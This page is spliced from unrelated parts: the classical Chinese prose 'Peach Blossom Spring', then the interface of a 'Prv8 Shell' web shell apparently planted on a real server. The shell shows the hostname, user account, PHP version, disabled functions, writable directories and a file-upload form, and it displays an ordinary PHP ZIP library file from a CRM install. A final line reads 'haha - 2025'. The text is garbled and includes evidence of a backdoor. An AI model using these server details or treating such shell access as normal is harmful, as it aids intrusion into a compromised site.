晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/vtlib/thirdparty/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/vtlib/thirdparty/dZip.inc.php
<?php
/**
 * DOWNLOADED FROM: http://www.phpclasses.org/browse/package/2495/
 * License: 	BSD License
 */
?>
<?php
class dZip{
	var $filename;
	var $overwrite;
	
	var $zipSignature = "\x50\x4b\x03\x04"; // local file header signature
	var $dirSignature = "\x50\x4b\x01\x02"; // central dir header signature
	var $dirSignatureE= "\x50\x4b\x05\x06"; // end of central dir signature
	var $files_count  = 0;
	var $fh;
	
	Function dZip($filename, $overwrite=true){
		$this->filename  = $filename;
		$this->overwrite = $overwrite;
	}
	Function addDir($dirname, $fileComments=''){
		if(substr($dirname, -1) != '/')
			$dirname .= '/';
		$this->addFile(false, $dirname, $fileComments);
	}
	Function addFile($filename, $cfilename, $fileComments='', $data=false){
		if(!($fh = $this->fh))
			$fh = fopen($this->filename, $this->overwrite?'wb':'a+b');
		
		// $filename can be a local file OR the data wich will be compressed
		if(substr($cfilename, -1)=='/'){
			$details['uncsize'] = 0;
			$data = '';
		}
		elseif(file_exists($filename)){
			$details['uncsize'] = filesize($filename);
			$data = file_get_contents($filename);
		}
		elseif($filename){
			echo "<b>Cannot add $filename. File not found</b><br>";
			return false;
		}
		else{
			$details['uncsize'] = strlen($data); // Prasad: Fixed instead of strlen($filename)
			// DATA is given.. use it! :|
		}
		
		// if data to compress is too small, just store it
		if($details['uncsize'] < 256){
			$details['comsize'] = $details['uncsize'];
			$details['vneeded'] = 10;
			$details['cmethod'] = 0;
			$zdata = $data;
		}
		else{ // otherwise, compress it
			$zdata = gzcompress($data);
			$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug (thanks to Eric Mueller)
			$details['comsize'] = strlen($zdata);
			$details['vneeded'] = 10;
			$details['cmethod'] = 8;
		}
		
		$details['bitflag'] = 0;
		$details['crc_32']  = crc32($data);
		
		// Convert date and time to DOS Format, and set then
		$lastmod_timeS  = str_pad(decbin(date('s')>=32?date('s')-32:date('s')), 5, '0', STR_PAD_LEFT);
		$lastmod_timeM  = str_pad(decbin(date('i')), 6, '0', STR_PAD_LEFT);
		$lastmod_timeH  = str_pad(decbin(date('H')), 5, '0', STR_PAD_LEFT);
		$lastmod_dateD  = str_pad(decbin(date('d')), 5, '0', STR_PAD_LEFT);
		$lastmod_dateM  = str_pad(decbin(date('m')), 4, '0', STR_PAD_LEFT);
		$lastmod_dateY  = str_pad(decbin(date('Y')-1980), 7, '0', STR_PAD_LEFT);
		
		# echo "ModTime: $lastmod_timeS-$lastmod_timeM-$lastmod_timeH (".date("s H H").")\n";
		# echo "ModDate: $lastmod_dateD-$lastmod_dateM-$lastmod_dateY (".date("d m Y").")\n";
		$details['modtime'] = bindec("$lastmod_timeH$lastmod_timeM$lastmod_timeS");
		$details['moddate'] = bindec("$lastmod_dateY$lastmod_dateM$lastmod_dateD");
		
		$details['offset'] = ftell($fh);
		fwrite($fh, $this->zipSignature);
		fwrite($fh, pack('s', $details['vneeded'])); // version_needed
		fwrite($fh, pack('s', $details['bitflag'])); // general_bit_flag
		fwrite($fh, pack('s', $details['cmethod'])); // compression_method
		fwrite($fh, pack('s', $details['modtime'])); // lastmod_time
		fwrite($fh, pack('s', $details['moddate'])); // lastmod_date
		fwrite($fh, pack('V', $details['crc_32']));  // crc-32
		fwrite($fh, pack('I', $details['comsize'])); // compressed_size
		fwrite($fh, pack('I', $details['uncsize'])); // uncompressed_size
		fwrite($fh, pack('s', strlen($cfilename)));   // file_name_length
		fwrite($fh, pack('s', 0));  // extra_field_length
		fwrite($fh, $cfilename);    // file_name
		// ignoring extra_field
		fwrite($fh, $zdata);
		
		// Append it to central dir
		$details['external_attributes']  = (substr($cfilename, -1)=='/'&&!$zdata)?16:32; // Directory or file name
		$details['comments']             = $fileComments;
		$this->appendCentralDir($cfilename, $details);
		$this->files_count++;
	}
	Function setExtra($filename, $property, $value){
		$this->centraldirs[$filename][$property] = $value;
	}
	Function save($zipComments=''){
		if(!($fh = $this->fh))
			$fh = fopen($this->filename, $this->overwrite?'w':'a+');
		
		$cdrec = "";
		foreach($this->centraldirs as $filename=>$cd){
			$cdrec .= $this->dirSignature;
			$cdrec .= "\x0\x0";                  // version made by
			$cdrec .= pack('v', $cd['vneeded']); // version needed to extract
			$cdrec .= "\x0\x0";                  // general bit flag
			$cdrec .= pack('v', $cd['cmethod']); // compression method
			$cdrec .= pack('v', $cd['modtime']); // lastmod time
			$cdrec .= pack('v', $cd['moddate']); // lastmod date
			$cdrec .= pack('V', $cd['crc_32']);  // crc32
			$cdrec .= pack('V', $cd['comsize']); // compressed filesize
			$cdrec .= pack('V', $cd['uncsize']); // uncompressed filesize
			$cdrec .= pack('v', strlen($filename)); // file comment length
			$cdrec .= pack('v', 0);                // extra field length
			$cdrec .= pack('v', strlen($cd['comments'])); // file comment length
			$cdrec .= pack('v', 0); // disk number start
			$cdrec .= pack('v', 0); // internal file attributes
			$cdrec .= pack('V', $cd['external_attributes']); // internal file attributes
			$cdrec .= pack('V', $cd['offset']); // relative offset of local header
			$cdrec .= $filename;
			$cdrec .= $cd['comments'];
		}
		$before_cd = ftell($fh);
		fwrite($fh, $cdrec);
		
		// end of central dir
		fwrite($fh, $this->dirSignatureE);
		fwrite($fh, pack('v', 0)); // number of this disk
		fwrite($fh, pack('v', 0)); // number of the disk with the start of the central directory
		fwrite($fh, pack('v', $this->files_count)); // total # of entries "on this disk" 
		fwrite($fh, pack('v', $this->files_count)); // total # of entries overall 
		fwrite($fh, pack('V', strlen($cdrec)));     // size of central dir 
		fwrite($fh, pack('V', $before_cd));         // offset to start of central dir
		fwrite($fh, pack('v', strlen($zipComments))); // .zip file comment length
		fwrite($fh, $zipComments);
		
		fclose($fh);
	}
	
	// Private
	Function appendCentralDir($filename,$properties){
		$this->centraldirs[$filename] = $properties;
	}
}
?>

haha - 2025